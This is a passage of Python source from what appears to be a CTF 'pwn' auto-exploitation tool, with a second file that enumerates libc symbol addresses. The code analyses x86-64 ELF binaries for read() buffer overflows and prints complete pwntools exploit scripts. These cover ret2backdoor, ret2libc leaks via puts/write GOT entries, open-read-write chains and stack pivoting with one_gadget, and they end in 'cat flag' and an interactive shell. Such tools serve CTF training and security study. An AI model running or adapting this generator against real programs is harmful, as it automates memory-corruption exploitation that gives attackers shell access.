| 247 | def Hierarchical_function_lookup(addr, file_os): 248 | if file_os == 18: 249 | push_rbp = u32(elf.read(addr, 1).ljust(4, b'\x00')) 250 | # 0X55=PUSH RBP 251 | if push_rbp == 0x55: 252 | Hierarchical_list[addr].append(addr) 253 | elif file_os == 20: 254 | endbr64 = u32(elf.read(addr, 4).ljust(4, b'\x00')) 255 | # 0xFA1E0FF3=endbr64 256 | if endbr64 == 0xFA1E0FF3: 257 | Hierarchical_list[addr].append(addr) 258 | 259 | 260 | overturn_Hierarchical_list = defaultdict(list) 261 | 262 | 263 | def overturn_Hierarchical(): 264 | for key, values in list(Hierarchical_list.items()): 265 | for value in values: 266 | overturn_Hierarchical_list[value].append(key) 267 | 268 | 269 | def remove_non_alphanumeric_and_leading_zeros(s): 270 | sign = b'-' if s.startswith(b'-') else b'' 271 | alphanumeric_str = re.sub(br'[^a-zA-Z0-9-+]', b'', s) 272 | leading_zeros_removed_str = re.sub(br'^[-+]?0+(?=\d|$)', b'', alphanumeric_str) 273 | return sign + leading_zeros_removed_str if (leading_zeros_removed_str and (sign or leading_zeros_removed_str != b'0')) else b'0' 274 | 275 | # 获取read的rsi rdx,rsi获取是最近特征爆搜,rdx是大小数组差值特征 276 | 277 | 278 | def solve_read(elf, addr, file_name, file_os): 279 | # 定义临时的列表存放read调用点和mov_edx__xx的差值 280 | tmp_list = [] 281 | # find mov_edx_xx 282 | mov_edx_xx = elf.search(b'\xBA') 283 | mov_edx_xx_addr = np.array(list(mov_edx_xx)) 284 | # Stack_migration_address (lea rax, [rbp+buf]) 285 | Stack_migration_address = 0 286 | for address in mov_edx_xx_addr: 287 | sub = addr - address 288 | if sub > 0: 289 | tmp_list.append(sub) 290 | # 找到最近的edx(也就是rdx)的赋值机器码必然就是当前read的赋值 291 | tmp_addr = addr - min(tmp_list) 292 | # 获取rdx 293 | rdx = u64(elf.read(tmp_addr, 5)[1:4].ljust(8, b'\x00')) 294 | print(("[+]rdx:" + hex(rdx))) 295 | # 获取rsi 检测两个特征 296 | tmp_chek = u32(elf.read(tmp_addr - 4, 3).ljust(4, b'\x00')) 297 | # 分大小数据,大于0x100和小于0x100的 298 | if tmp_chek == 0x458D48: 299 | rsi = 0x100 - u32(elf.read(tmp_addr - 4, 4)[3:4].ljust(4, b'\x00')) 300 | Stack_migration_address = tmp_addr - 4 301 | else: 302 | tmp_chek = u32(elf.read(tmp_addr - 7, 3).ljust(4, b'\x00')) 303 | if tmp_chek == 0x858D48: 304 | rsi = 0x100000000 - \ 305 | u64(elf.read(tmp_addr - 7, 7)[3:].ljust(8, b'\x00')) 306 | Stack_migration_address = tmp_addr - 7 307 | print(("[+]rsi:" + hex(rsi))) 308 | # rsi 0: 314 | print("[+]自动化探索可行路径如下:") 315 | # 倒转全局链,从main到溢出点 316 | for chains in chain: 317 | # 逆序调用链从mian到overflow 318 | chains.reverse() 319 | for index in chains: 320 | print(((hex(index))), end=' ') 321 | if index == overturn_Hierarchical_list[addr][0]: 322 | print("") 323 | else: 324 | print((' -> '), end=' ') 325 | # angr符号执行分析链上所有点位的进入逻辑 326 | if auto_flag: 327 | for index in chain: 328 | for i in range(1, len(index)): 329 | start_addr = index[i - 1] 330 | end_addr = User_Function[index[i - 1]] 331 | target_addr = overturn_Call_list[index[i]] 332 | if mode == '2': 333 | auto_pwn_result_list.append( 334 | fuzz2.find_input_strings( 335 | file_name, 336 | int(start_addr), 337 | int(end_addr), 338 | int(target_addr), 339 | 1024,file_os)) 340 | auto_pwn_result_list.append(fuzz2.find_input_strings(file_name, int(overturn_Hierarchical_list[addr][0]), int( 341 | User_Function[overturn_Hierarchical_list[addr][0]]), int(addr), 1024,file_os)) 342 | elif mode == '1': 343 | auto_pwn_result_list.append( 344 | fuzz.find_input_strings( 345 | file_name, 346 | int(start_addr), 347 | int(end_addr), 348 | int(target_addr), 349 | 1024,file_os)) 350 | auto_pwn_result_list.append(fuzz.find_input_strings(file_name, int(overturn_Hierarchical_list[addr][0]), int( 351 | User_Function[overturn_Hierarchical_list[addr][0]]), int(addr), 1024,file_os)) 352 | global auto_pwn_result_list_fix 353 | auto_pwn_result_list_fix = [ 354 | x for sublist in auto_pwn_result_list for x in sublist if x != b''] 355 | auto_pwn_result_list_fix = [ 356 | x for item in auto_pwn_result_list_fix for x in ( 357 | item if isinstance( 358 | item, list) else [item])] 359 | print("[+]All need:", auto_pwn_result_list_fix) 360 | auto_success = True 361 | # 优化特殊结果:such as -0+0066556 362 | auto_pwn_result_list_fix = [remove_non_alphanumeric_and_leading_zeros( 363 | item) for item in auto_pwn_result_list_fix] 364 | print(auto_pwn_result_list_fix) 365 | solve_read_overflow( 366 | addr, 367 | rsi, 368 | rdx, 369 | file_name, 370 | file_os, 371 | Stack_migration_address, 372 | True, 373 | remote) 374 | else: 375 | auto_success = False 376 | solve_read_overflow( 377 | addr, 378 | rsi, 379 | rdx, 380 | file_name, 381 | file_os, 382 | Stack_migration_address, 383 | auto_success, 384 | remote) 385 | else: 386 | print("[+]路径探索失败,但是我依然可以给你提供参考EXP!") 387 | auto_success = False 388 | # 生成模板 389 | solve_read_overflow( 390 | addr, 391 | rsi, 392 | rdx, 393 | file_name, 394 | file_os, 395 | Stack_migration_address, 396 | auto_success, 397 | remote) 398 | 399 | 400 | def solve_read_overflow( 401 | addr, 402 | rsi, 403 | rdx, 404 | file_name, 405 | file_os, 406 | Stack_migration_address, 407 | auto_success, 408 | remote): 409 | system = False 410 | system_be_called = [] 411 | sub = rdx - rsi 412 | strs = '' 413 | elf = ELF(file_name) 414 | # 最基础的rop链构造puts(got)ret2libc&ret2backdoor 415 | if sub > 0x28: 416 | # 翻转call_list 查询system的调用点 417 | # Hierarchical_list的key和value分别是call地址和这个call所属最近函数 418 | # call_list的key和value分别是call地址和函数名 419 | # 通过翻转代入到Hierarchical_list可以得知system的最近所属也就是后门地址 420 | # strs_addr是执行内容,直接用机器码距离特征加相对地址计算解决 421 | overturn_Call_list = dict( 422 | list(zip(list(Call_list.values()), list(Call_list.keys())))) 423 | overturn_Call_list = dict( 424 | list(zip(list(Call_list.values()), list(Call_list.keys())))) 425 | for function in list(overturn_Call_list.keys()): 426 | if function == 'system': 427 | system = True 428 | system_be_called.append( 429 | overturn_Hierarchical_list[overturn_Call_list[function]]) 430 | strs_addr = u64(elf.read(overturn_Call_list[function] - 7, 7)[ 431 | 3:].ljust(8, b'\x00')) + (overturn_Call_list[function]) 432 | strs = elf.read(strs_addr, 0x10).split(b'\x00') 433 | elif function == 'execve': 434 | system = True 435 | system_be_called.append( 436 | overturn_Hierarchical_list[overturn_Call_list[function]]) 437 | # ret2backdoor exp 438 | if system: 439 | for i in range(len(system_be_called)): 440 | print(("[+]Found system(execve) be called by function:" + 441 | hex(system_be_called[i][0]) + 442 | " and system(xx) is " + 443 | str(strs[0]))) 444 | if i == 0: 445 | print("[+]Now i will give u an easy exp about ret2backdoor") 446 | print("") 447 | # ubuntu18 need add one return to Stack balancing 448 | if elf.canary == False and elf.pie != True: 449 | ret = next(elf.search(asm("ret"))) 450 | 451 | print("#encoding=utf-8") 452 | if file_os: 453 | print("#如果是Ubuntu20-22下的system利用其中的ret看具体情况要不要去掉") 454 | print("from pwn import *") 455 | print("context(log_level='debug',arch='amd64')") 456 | print(("elf=ELF(" + "'" + file_name + "'" + ")")) 457 | print(("r=process(" + "'" + file_name + "'" + ")")) 458 | with open('output.txt', 'w') as f: 459 | if remote=='remote': 460 | sys.stdout = f 461 | if auto_success: 462 | for i in auto_pwn_result_list_fix: 463 | print("r.recv(timeout=1)") 464 | print("r.sendline(" + str(i) + ")") 465 | print(("payload=" + "b'a'*" + hex(rsi + 8) + "+p64(" + 466 | hex(ret) + ")" + "+p64(" + hex(system_be_called[i][0]) + ")")) 467 | print("r.send(payload)") 468 | print("r.sendline('cat flag')") 469 | print("r.interactive()") 470 | exit(0) 471 | elif elf.canary and elf.pie != True: 472 | ret = next(elf.search(asm("ret"))) 473 | print("#encoding=utf-8") 474 | if file_os: 475 | print("#如果是Ubuntu20-22下的system利用其中的ret看具体情况要不要去掉") 476 | print("from pwn import *") 477 | print("context(log_level='debug',arch='amd64')") 478 | print(("elf=ELF(" + "'" + file_name + "'" + ")")) 479 | print("#由于canary可能涉及复杂逻辑,需要用户自行泄露,模板只帮计算溢出模板") 480 | print(("r=process(" + "'" + file_name + "'" + ")")) 481 | with open('output.txt', 'w') as f: 482 | if remote=='remote': 483 | sys.stdout = f 484 | if auto_success: 485 | for i in auto_pwn_result_list_fix: 486 | print("r.recv(timeout=1)") 487 | print("r.sendline(" + str(i) + ")") 488 | print(("payload=" + 489 | "b'a'*" + 490 | hex(rsi - 491 | 8) + 492 | "+p64(canary)+b'a'*8" + 493 | "+p64(" + 494 | hex(ret) + 495 | ")" + 496 | "+p64(" + 497 | hex(system_be_called[i][0]) + 498 | ")")) 499 | print("r.send(payload)") 500 | print("r.sendline('cat flag')") 501 | print("r.interactive()") 502 | exit(0) 503 | # ret2libc & orw 504 | if not system: 505 | print("[+]Now i will give u two exp about orw or system getshell") 506 | print("") 507 | if not elf.pie: 508 | rdi = next(elf.search(asm("pop rdi;ret"))) 509 | pop_rsi_r15_ret = next(elf.search(asm("pop rsi;pop r15;ret"))) 510 | ret = next(elf.search(asm("ret"))) 511 | bss_addr = elf.get_section_by_name('.bss').header.sh_addr 512 | 513 | print("#encoding=utf-8") 514 | print("#canary涉及相关的逻辑操作,若有canary请自己泄露") 515 | if file_os == 20: 516 | print("#如果是Ubuntu20-22下的system利用其中的ret看具体情况要不要去掉") 517 | print("#ubuntu-18 ret2libc system or orw") 518 | print("from pwn import *") 519 | print("context(log_level='debug',arch='amd64')") 520 | print(("elf=ELF(" + "'" + file_name + "'" + ")")) 521 | print("libc=elf.libc") 522 | print(("r=process(" + "'" + file_name + "'" + ")")) 523 | with open('output.txt', 'w') as f: 524 | if remote =='remote': 525 | sys.stdout = f 526 | print("r.recv(timeout=1)") 527 | print(("rdi=" + hex(rdi))) 528 | print("rdx=next(libc.search(asm('pop rdx;ret')))") 529 | print(("pop_rsi_r15_ret=" + hex(pop_rsi_r15_ret))) 530 | print(("ret=" + hex(ret))) 531 | print(("Hierarchical=" + 532 | hex(overturn_Hierarchical_list[addr][0]))) 533 | if auto_success: 534 | for i in auto_pwn_result_list_fix: 535 | print("r.recv(timeout=1)") 536 | print("r.sendline(" + str(i) + ")") 537 | if 'puts' in Function_Name: 538 | print("puts_got=elf.got['puts']") 539 | print("puts_plt=elf.plt['puts']") 540 | if elf.canary: 541 | print(("payload=b'a'*" + hex(rsi - 8) + 542 | "+p64(canary)+b'a'*8+p64(rdi)+p64(puts_got)+p64(puts_plt)+p64(Hierarchical)")) 543 | else: 544 | print(("payload=b'a'*" + hex(rsi + 8) + 545 | "+p64(rdi)+p64(puts_got)+p64(puts_plt)+p64(Hierarchical)")) 546 | print("r.send(payload)") 547 | print( 548 | "leak=u64(r.recvuntil(b'\\x7f')[-6:].ljust(8,b'\\x00'))") 549 | print("base=leak-libc.sym['puts']") 550 | elif 'write' in Function_Name and 'puts' not in Function_Name: 551 | print("write_got=elf.got['write']") 552 | print("write_plt=elf.plt['write']") 553 | if elf.canary: 554 | print(("payload=b'a'*" + hex(rsi - 8) + 555 | "+p64(canary)+b'a'*8+p64(rdi)+p64(1)+p64(pop_rsi_r15_ret)+p64(write_got)+p64(0)+p64(write_plt)+p64(Hierarchical)")) 556 | else: 557 | print(("payload=b'a'*" + hex(rsi + 8) + 558 | "+p64(rdi)+p64(1)+p64(pop_rsi_r15_ret)+p64(write_got)+p64(0)+p64(write_plt)+p64(Hierarchical)")) 559 | print("r.send(payload)") 560 | print( 561 | "leak=u64(r.recvuntil(b'\\x7f')[-6:].ljust(8,b'\\x00'))") 562 | print("base=leak-libc.sym['write']") 563 | if 'prctl' not in Function_Name: 564 | print("sh=base+next(libc.search(b'/bin/sh'))") 565 | print("system=base+libc.sym['system']") 566 | if elf.canary: 567 | print(("payload2=b'a'*" + hex(rsi - 8) + 568 | "+p64(canary)+b'a'*8+p64(rdi)+p64(sh)+p64(ret)+p64(system)+p64(Hierarchical)")) 569 | else: 570 | print(("payload2=b'a'*" + hex(rsi + 8) + 571 | "+p64(rdi)+p64(sh)+p64(ret)+p64(system)+p64(Hierarchical)")) 572 | print("r.send(payload2)") 573 | elif 'prctl' in Function_Name: 574 | print("the_open=base+libc.sym['open']") 575 | print("the_write=base+libc.sym['write']") 576 | print("the_read=base+libc.sym['read']") 577 | print(("bss=" + hex(bss_addr + 0x300))) 578 | print("rdx=base+rdx") 579 | if elf.canary: 580 | print(("payload2=b'a'*" + hex(rsi - 8) + 581 | "+p64(canary)+b'a'*8+p64(rdi)+p64(0)+p64(pop_rsi_r15_ret)+p64(bss)+p64(0)+p64(rdx)+p64(0x200)+p64(the_read)+p64(Hierarchical)")) 582 | else: 583 | print(("payload2=b'a'*" + hex(rsi + 8) + 584 | "+p64(rdi)+p64(0)+p64(pop_rsi_r15_ret)+p64(bss)+p64(0)+p64(rdx)+p64(0x200)+p64(the_read)+p64(Hierarchical)")) 585 | print("r.send(payload2)") 586 | print("sleep(1)") 587 | print("r.send('flag\x00/')") 588 | if elf.canary: 589 | print(("payload3=b'a'*" + hex(rsi - 8) + 590 | "+p64(canary)+b'a'*8+p64(rdi)+p64(bss)+p64(pop_rsi_r15_ret)+p64(0o664)+p64(0)+p64(the_open)")) 591 | else: 592 | print(("payload3=b'a'*" + hex(rsi + 8) + 593 | "+p64(rdi)+p64(bss)+p64(pop_rsi_r15_ret)+p64(0664)+p64(0)+p64(the_open)")) 594 | print( 595 | "payload3+=p64(rdi)+p64(3)+p64(pop_rsi_r15_ret)+p64(bss)+p64(0)+p64(rdx)+p64(0x200)+p64(the_read)") 596 | print( 597 | "payload3+=p64(rdi)+p64(1)+p64(pop_rsi_r15_ret)+p64(bss)+p64(0)+p64(the_write)") 598 | print("r.send(payload3)") 599 | print("r.sendline('cat flag')") 600 | print("r.interactive()") 601 | exit(0) 602 | if sub == 0x10: 603 | rdi = next(elf.search(asm("pop rdi;ret"))) 604 | pop_rsi_r15_ret = next(elf.search(asm("pop rsi;pop r15;ret"))) 605 | ret = next(elf.search(asm("ret"))) 606 | bss_addr = elf.get_section_by_name('.bss').header.sh_addr 607 | 608 | print("#encoding=utf-8") 609 | print("#开始生成栈迁移模板") 610 | print("#canary涉及相关的逻辑操作,若有canary请自己泄露") 611 | if file_os == 20: 612 | print("#如果是Ubuntu20-22下的system利用其中的ret看具体情况要不要去掉") 613 | print("#ubuntu-18 ret2libc system or orw") 614 | print("from pwn import *") 615 | print("context(log_level='debug',arch='amd64')") 616 | print(("elf=ELF(" + "'" + file_name + "'" + ")")) 617 | print("libc=elf.libc") 618 | print(("r=process(" + "'" + file_name + "'" + ")")) 619 | with open('output.txt', 'w') as f: 620 | if remote=='remote': 621 | sys.stdout = f 622 | print("r.recv(timeout=1)") 623 | print(("rdi=" + hex(rdi))) 624 | print("rdx=next(libc.search(asm('pop rdx;ret')))") 625 | print(("pop_rsi_r15_ret=" + hex(pop_rsi_r15_ret))) 626 | print(("ret=" + hex(ret))) 627 | print(("Hierarchical=" + hex(overturn_Hierarchical_list[addr][0]))) 628 | print(("Stack_migration_address=" + hex(Stack_migration_address))) 629 | print(("bss=" + hex(bss_addr))) 630 | print(("offset=" + hex(rsi))) 631 | if auto_success: 632 | for i in auto_pwn_result_list_fix: 633 | if len(i) > 0: 634 | for j in i: 635 | print("r.recv(timeout=1)") 636 | print("r.sendline(" + str(j) + ")") 637 | if 'puts' in Function_Name: 638 | print("puts_got=elf.got['puts']") 639 | print("puts_plt=elf.plt['puts']") 640 | print(("payload=b'a'*" + hex(rsi) + 641 | "+p64(bss+0x300)+p64(Stack_migration_address)")) 642 | print("r.send(payload)") 643 | print("sleep(1)") 644 | print(("payload=b'a'*" + hex(rsi) + 645 | "+p64(bss+0x300+offset)+p64(Stack_migration_address)")) 646 | print("r.send(payload)") 647 | print("sleep(1)") 648 | print( 649 | "payload2=p64(bss+0x300+offset+0x10)+p64(rdi)+p64(puts_got)+p64(puts_plt)+p64(Stack_migration_address)") 650 | print("r.send(payload2)") 651 | print("sleep(1)") 652 | print("leak=u64(r.recvuntil(b'\\x7f')[-6:].ljust(8,b'\\x00'))") 653 | print("base=leak-libc.sym['puts']") 654 | print("print('[+]base:'+hex(base))") 655 | print("'''") 656 | print("#onegadget自己选择,我这里会提供非常多的onegadget") 657 | cmd = os.popen("one_gadget " + 658 | str(elf.libc).split("'")[1] + 659 | " --level 1") 660 | onegadgets = cmd.read() # 利用管道获取onegadgets 661 | print(onegadgets) 662 | print("'''") 663 | print("one=base+your_choice_onegadget") 664 | print("payload3=p64(0)*4+p64(one)") 665 | print("r.send(payload3)") 666 | print("r.sendline('cat flag')") 667 | print("r.interactive()") 668 | exit(1) 669 | 670 | 671 | def solve_call(elf, file_name, file_os): 672 | for call_addr in list(Call_list.keys()): 673 | call_what = Call_list[call_addr] 674 | if str(call_what) == 'read': 675 | solve_read(elf, call_addr, file_name, file_os) 676 | 677 | 678 | # 查找用户编写的函数 679 | def get_all_user_func(elf, file_name, file_os): 680 | # Ubuntu18 函数头是push rbp 681 | if file_os == 18: 682 | tmp_sub = [] 683 | push_rbp = elf.search(asm("push rbp;")) 684 | push_rbp_addr = np.array(list(push_rbp)) 685 | leave_ret = elf.search(asm("leave;ret;")) 686 | pop_rbp_ret = elf.search(asm("pop rbp;ret;")) 687 | pop_rbp_ret_list = np.array(list(pop_rbp_ret)) 688 | leave_ret_list = np.array(list(leave_ret)) 689 | ret_addr = np.concatenate([pop_rbp_ret_list, leave_ret_list]) 690 | if file_os == 18: 691 | for i in push_rbp_addr: 692 | for j in ret_addr: 693 | a = int(j - i) 694 | if a > 0: 695 | tmp_sub.append(a) 696 | # 查询获取的头上面是不是ret,或者jmp(第一个函数的头前面是jmp,其他的都是ret) 697 | if tmp_sub: 698 | check = u32(elf.read(i - 1, 1).ljust(4, b'\x00')) 699 | check1 = u32(elf.read(i - 2, 1).ljust(4, b'\x00')) 700 | # 如果是,则把最近的尾做为字典的value,头做key 701 | if check == 0xC3 or check1 == 0xEB: 702 | User_Function[i] = min(tmp_sub) + i + 1 703 | # 清空临时差值列表 704 | tmp_sub = [] 705 | 706 | # Ubuntu20的开头是这个endbr64,其他原来一模一样的 707 | else: 708 | tmp_sub = [] 709 | push_rbp = elf.search(asm("endbr64;")) 710 | push_rbp_addr = np.array(list(push_rbp)) 711 | leave_ret = elf.search(asm("leave;ret;")) 712 | pop_rbp_ret = elf.search(asm("pop rbp;ret;")) 713 | pop_rbp_ret_list = np.array(list(pop_rbp_ret)) 714 | leave_ret_list = np.array(list(leave_ret)) 715 | ret_addr = np.concatenate([pop_rbp_ret_list, leave_ret_list]) 716 | if file_os == 20: 717 | for i in push_rbp_addr: 718 | for j in ret_addr: 719 | a = int(j - i) 720 | if a > 0: 721 | tmp_sub.append(a) 722 | # 查询获取的头上面是不是ret,或者jmp(第一个函数的头前面是jmp,其他的都是ret) 723 | if tmp_sub: 724 | check = u32(elf.read(i - 1, 1).ljust(4, b'\x00')) 725 | check1 = u32(elf.read(i - 2, 1).ljust(4, b'\x00')) 726 | # 如果是,则把最近的尾做为字典的value,头做key 727 | if check == 0xC3 or check1 == 0xEB: 728 | User_Function[i] = min(tmp_sub) + i 729 | # 清空临时差值列表 730 | tmp_sub = [] 731 | 732 | 733 | def banner(): 734 | banner = ''' 735 | ████████ ██ ██ ████████ ████████ 736 | ░██░░░░░ ░██ ░██░░░░░░██ ░░░░░░██ 737 | ░██ ░██ ░██ ██ ██ 738 | ░███████ ░██ ░██ ██ ██ 739 | ░██░░░░ ░██ ░██ ██ ██ 740 | ░██ ░██ ░██ ██ ██ 741 | ░██ ░░███████ ████████ ████████ 742 | ░░ ░░░░░░░ ░░░░░░░░ ░░░░░░░░ 743 | 744 | ——Powered By HRP 745 | 746 | ''' 747 | print(banner) 748 | 749 | 750 | start_address = 0 751 | end_address = 0 752 | auto_flag = False 753 | auto_success = False 754 | auto = "" 755 | auto_pwn_result_list = [] 756 | auto_pwn_result_list_fix = [] 757 | remote = '' 758 | mode = '' 759 | if __name__ == '__main__': 760 | banner() 761 | # 设置日志级别为 WARNING,以减少输出 762 | logging.disable(logging.WARNING) 763 | 764 | loads_function_list() 765 | 766 | if len(sys.argv) < 2: 767 | print("[+]please input file name!") 768 | exit(0) 769 | try: 770 | file_name = sys.argv[1] # 外部获取文件名 771 | try: 772 | auto = sys.argv[2] 773 | remote = sys.argv[3] 774 | mode = sys.argv[4] 775 | except BaseException: 776 | auto_flag = False 777 | if auto == "auto": 778 | auto_flag = True 779 | print(auto_flag) 780 | if remote == "remote": 781 | remote ='remote' 782 | elf = ELF(file_name) 783 | start_address = elf.get_section_by_name('.text').header.sh_addr 784 | end_address = start_address + \ 785 | elf.get_section_by_name('.text').header.sh_size 786 | if elf.arch == 'i386': 787 | print("[+]WE DO NOT SUPPORT I386 BINARY!") 788 | exit(0) 789 | except Exception as e: 790 | print("[+]Usage:python3 HRP-FUZZ-2.0.py ./filepath ") 791 | else: 792 | canary = elf.canary 793 | search_call_what(elf, file_name, sys.argv) 794 | finally: 795 | pass 796 | -------------------------------------------------------------------------------- /HRP-CTF-PWN-FUZZ-v1.0/HRP-FUZZ-V1.0/HRP-FUZZ-V1.1.py: -------------------------------------------------------------------------------- 1 | #encoding=utf-8 2 | from pwn import * 3 | import numpy as np 4 | import os 5 | import sys 6 | context.log_level='debug' 7 | context.arch='amd64' 8 | 9 | read_addr=0 10 | gets_addr=0 11 | puts_addr=0 12 | printf_addr=0 13 | strcpy_addr=0 14 | scanf_addr=0 15 | free_addr=0 16 | malloc_addr=0 17 | atoi_addr=0 18 | strncpy_addr=0 19 | system_addr=0 20 | syscall_addr=0 21 | execve_addr=0 22 | write_addr=0 23 | printogram_base=0 24 | eh_frame_addr=0 25 | start_offset=0 26 | main_addr=0 27 | mmap_addr=0 28 | prctl_addr=0 29 | stack_migration_addr=[] 30 | stack_migration_size=[] 31 | need_addr=[] 32 | func_flag=[] 33 | 34 | stackoverflow_addr=[] 35 | stackoverflow_size=[] 36 | stackoverflow_input_size=[] 37 | backdoor_addr=[] 38 | format_bug_addr=[] 39 | def get_all(elf,file_os): #用pwntools搜素我们需要的库函数,如果是Ubuntu20需要进行-4定位到真正在汇编中的调用地址 40 | global printogram_base 41 | printogram_base = elf.address 42 | print('[+]printogram_base'+hex(printogram_base)) 43 | global eh_frame_addr 44 | eh_frame_addr = elf.get_section_by_name('.eh_frame').header.sh_addr 45 | global start_offset 46 | start_offset = elf.header.e_entry 47 | offset = elf.read(start_offset, 0x40).find('\x48\xc7\xc7') # mov rdi,? 48 | global main_addr 49 | main_addr = u32(elf.read(start_offset + offset + 3, 4)) 50 | print('[+]eh_frame_addr:'+hex(eh_frame_addr)) 51 | print('[+]start_offset:'+hex(start_offset)) 52 | print('[+]main_addr:'+hex(main_addr)) 53 | print("") 54 | #get_mmap 55 | try: 56 | global mmap_addr 57 | mmap_addr=elf.sym["mmap"] 58 | except Exception as e: 59 | pass 60 | else: 61 | if file_os == 18: 62 | print("[+]mmap found addr :"+hex(mmap_addr)) 63 | need_addr.append(hex(mmap_addr)) 64 | func_flag.append("mmap") 65 | elif file_os ==20: 66 | print("[+]mmap found addr :"+hex(mmap_addr-4)) 67 | need_addr.append(hex(mmap_addr-4)) 68 | func_flag.append("mmap") 69 | finally: 70 | pass 71 | 72 | #get_prctl 73 | try: 74 | global prctl_addr 75 | prctl_addr=elf.sym["prctl"] 76 | except Exception as e: 77 | pass 78 | else: 79 | if file_os == 18: 80 | print("[+]prctl found addr :"+hex(prctl_addr)) 81 | need_addr.append(hex(prctl_addr)) 82 | func_flag.append("prctl") 83 | elif file_os ==20: 84 | print("[+]prctl found addr :"+hex(prctl_addr-4)) 85 | need_addr.append(hex(prctl_addr-4)) 86 | func_flag.append("prctl") 87 | finally: 88 | pass 89 | 90 | #get_write 91 | try: 92 | global write_addr 93 | write_addr=elf.sym["write"] 94 | except Exception as e: 95 | pass 96 | else: 97 | if file_os == 18: 98 | print("[+]write found addr :"+hex(write_addr)) 99 | need_addr.append(hex(write_addr)) 100 | func_flag.append("write") 101 | elif file_os ==20: 102 | print("[+]write found addr :"+hex(write_addr-4)) 103 | need_addr.append(hex(write_addr-4)) 104 | func_flag.append("write") 105 | finally: 106 | pass 107 | 108 | #get_execve 109 | try: 110 | global execve_addr 111 | execve_addr=elf.sym["execve"] 112 | except Exception as e: 113 | pass 114 | else: 115 | if file_os == 18: 116 | print("[+]execve found addr :"+hex(execve_addr)) 117 | need_addr.append(hex(execve_addr)) 118 | func_flag.append("execve") 119 | elif file_os ==20: 120 | print("[+]execve found addr :"+hex(execve_addr-4)) 121 | need_addr.append(hex(execve_addr-4)) 122 | func_flag.append("execve") 123 | finally: 124 | pass 125 | 126 | #get_syscall 127 | try: 128 | global syscall_addr 129 | syscall_addr=elf.sym["syscall"] 130 | except Exception as e: 131 | pass 132 | else: 133 | if file_os == 18: 134 | print("[+]syscall found addr :"+hex(syscall_addr)) 135 | need_addr.append(hex(syscall_addr)) 136 | func_flag.append("syscall") 137 | elif file_os ==20: 138 | print("[+]syscall found addr :"+hex(syscall_addr-4)) 139 | need_addr.append(hex(syscall_addr-4)) 140 | func_flag.append("syscall") 141 | finally: 142 | pass 143 | 144 | #get_system 145 | try: 146 | global syscall_addr 147 | system_addr=elf.sym["system"] 148 | except Exception as e: 149 | pass 150 | else: 151 | if file_os == 18: 152 | print("[+]system found addr :"+hex(system_addr)) 153 | need_addr.append(hex(system_addr)) 154 | func_flag.append("system") 155 | elif file_os ==20: 156 | print("[+]system found addr :"+hex(system_addr-4)) 157 | need_addr.append(hex(system_addr-4)) 158 | func_flag.append("system") 159 | finally: 160 | pass 161 | 162 | #get_strncpy 163 | try: 164 | global strncpy_addr 165 | strncpy_addr=elf.sym["strncpy"] 166 | except Exception as e: 167 | pass 168 | else: 169 | if file_os == 18: 170 | print("[+]strncpy found addr :"+hex(strncpy_addr)) 171 | need_addr.append(hex(strncpy_addr)) 172 | func_flag.append("strncpy") 173 | elif file_os ==20: 174 | print("[+]strncpy found addr :"+hex(strncpy_addr-4)) 175 | need_addr.append(hex(strncpy_addr-4)) 176 | func_flag.append("strncpy") 177 | finally: 178 | pass 179 | 180 | #get_scanf 181 | try: 182 | global scanf_addr 183 | scanf_addr=elf.sym["__isoc99_scanf"] 184 | except Exception as e: 185 | pass 186 | else: 187 | if file_os == 18: 188 | print("[+]scanf found addr :"+hex(scanf_addr)) 189 | need_addr.append(hex(scanf_addr)) 190 | func_flag.append("scanf") 191 | elif file_os ==20: 192 | print("[+]scanf found addr :"+hex(scanf_addr-4)) 193 | need_addr.append(hex(scanf_addr-4)) 194 | func_flag.append("scanf") 195 | finally: 196 | pass 197 | 198 | #get_atoi 199 | try: 200 | global atoi_addr 201 | atoi_addr=elf.sym['atoi'] 202 | except Exception as e: 203 | pass 204 | else: 205 | if file_os == 18: 206 | print("[+]atoi found addr :"+hex(atoi_addr)) 207 | need_addr.append(hex(atoi_addr)) 208 | func_flag.append("atoi") 209 | elif file_os ==20: 210 | print("[+]atoi found addr :"+hex(atoi_addr-4)) 211 | need_addr.append(hex(atoi_addr-4)) 212 | func_flag.append("atoi") 213 | finally: 214 | pass 215 | 216 | #get_malloc 217 | try: 218 | global malloc_addr 219 | malloc_addr=elf.sym['malloc'] 220 | except Exception as e: 221 | pass 222 | else: 223 | if file_os == 18: 224 | print("[+]malloc found addr :"+hex(malloc_addr)) 225 | need_addr.append(hex(malloc_addr)) 226 | func_flag.append("malloc") 227 | elif file_os ==20: 228 | print("[+]malloc found addr :"+hex(malloc_addr-4)) 229 | need_addr.append(hex(malloc_addr-4)) 230 | func_flag.append("malloc") 231 | finally: 232 | pass 233 | 234 | #get_free 235 | try: 236 | global free_addr 237 | free_addr=elf.sym['free'] 238 | except Exception as e: 239 | pass 240 | else: 241 | if file_os == 18: 242 | print("[+]free found addr :"+hex(free_addr)) 243 | need_addr.append(hex(free_addr)) 244 | func_flag.append("free") 245 | elif file_os ==20: 246 | print("[+]free found addr :"+hex(free_addr-4)) 247 | need_addr.append(hex(free_addr-4)) 248 | func_flag.append("free") 249 | finally: 250 | pass 251 | 252 | #get_read 253 | try: 254 | global read_addr 255 | read_addr=elf.sym['read'] 256 | except Exception as e: 257 | pass 258 | else: 259 | if file_os == 18: 260 | print("[+]read found addr :"+hex(read_addr)) 261 | need_addr.append(hex(read_addr)) 262 | func_flag.append("read") 263 | elif file_os ==20: 264 | print("[+]read found addr :"+hex(read_addr-4)) 265 | need_addr.append(hex(read_addr-4)) 266 | func_flag.append("read") 267 | finally: 268 | pass 269 | 270 | #get_gets 271 | try: 272 | global gets_addr 273 | gets_addr=elf.sym['gets'] 274 | except Exception as e: 275 | pass 276 | else: 277 | if file_os == 18: 278 | print("[+]gets found addr :"+hex(gets_addr)) 279 | need_addr.append(hex(gets_addr)) 280 | func_flag.append("gets") 281 | elif file_os ==20: 282 | print("[+]gets found addr :"+hex(gets_addr-4)) 283 | need_addr.append(hex(gets_addr-4)) 284 | func_flag.append("gets") 285 | finally: 286 | pass 287 | 288 | #get_puts 289 | try: 290 | global puts_addr 291 | puts_addr=elf.sym['puts'] 292 | except Exception as e: 293 | pass 294 | else: 295 | if file_os == 18: 296 | print("[+]puts found addr :"+hex(puts_addr)) 297 | need_addr.append(hex(puts_addr)) 298 | func_flag.append("puts") 299 | elif file_os ==20: 300 | print("[+]puts found addr :"+hex(puts_addr-4)) 301 | need_addr.append(hex(puts_addr-4)) 302 | func_flag.append("puts") 303 | finally: 304 | pass 305 | 306 | 